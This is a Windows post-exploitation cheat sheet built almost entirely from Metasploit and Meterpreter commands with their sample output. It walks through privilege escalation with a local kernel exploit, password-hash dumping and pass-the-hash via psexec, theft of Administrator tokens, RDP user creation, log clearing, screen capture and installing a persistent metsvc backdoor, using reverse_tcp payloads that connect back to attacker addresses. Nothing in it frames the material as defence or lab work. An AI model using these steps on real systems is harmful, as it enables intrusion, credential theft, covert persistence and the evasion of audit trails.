# Windows Post Exploitation

```bash
#Meterpreter privesc
meterpreter > use priv
meterpreter > getsystem -h
meterpreter > getsystem
meterpreter > getuid

meterpreter > getsystem[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > background
msf exploit(ms10_002_aurora) > use exploit/windows/local/
msf exploit(ms10_002_aurora) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set SESSION 1
msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.161
msf exploit(ms10_015_kitrap0d) > set LPORT 4443
msf exploit(ms10_015_kitrap0d) > show options
msf exploit(ms10_015_kitrap0d) > exploit
meterpreter > getuid
#Server username: NT AUTHORITY\SYSTEM

```

## Hashdump and Pass The Hash

```bash
meterpreter > run post/windows/gather/hashdump 
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
msf exploit(psexec) > set LPORT 443
msf exploit(psexec) > set RHOST 192.168.57.131
msf exploit(psexec) > show options
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
```

## Stealing Tokens (Incognito)

```bash
meterpreter > use incognito
meterpreter > help
meterpreter > list_tokens -u
#Delegation Tokens Available
#========================================
#NT AUTHORITY\LOCAL SERVICE
#NT AUTHORITY\NETWORK SERVICE
#NT AUTHORITY\SYSTEM
#SNEAKS.IN\Administrator

meterpreter > impersonate_token SNEAKS.IN\\Administrator
#[+] Delegation token available
#[+] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter > getuid
#Server username: SNEAKS.IN\Administrator

```

## Enable RDP and create User

```bash
meterpreter > run getgui -h
meterpreter > run getgui -u loneferret -p password
```

## Clearing logs

```bash
meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc


```

## Screen Capture

```bash
meterpreter > ps
#260   Explorer.EXE         C:\WINDOWS\Explorer.EXE
meterpreter > migrate 260
meterpreter > use espia
meterpreter > screengrab 
# Screenshot saved to: /root/nYdRUppb.jpeg

```

## Backdoor

```bash
msf exploit(3proxy) > exploit
meterpreter > ps
meterpreter > migrate 632
meterpreter > run metsvc -h
meterpreter > run metsvc

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
#PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
#LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
#RHOST => 192.168.1.104

msf exploit(handler) > exploit
```
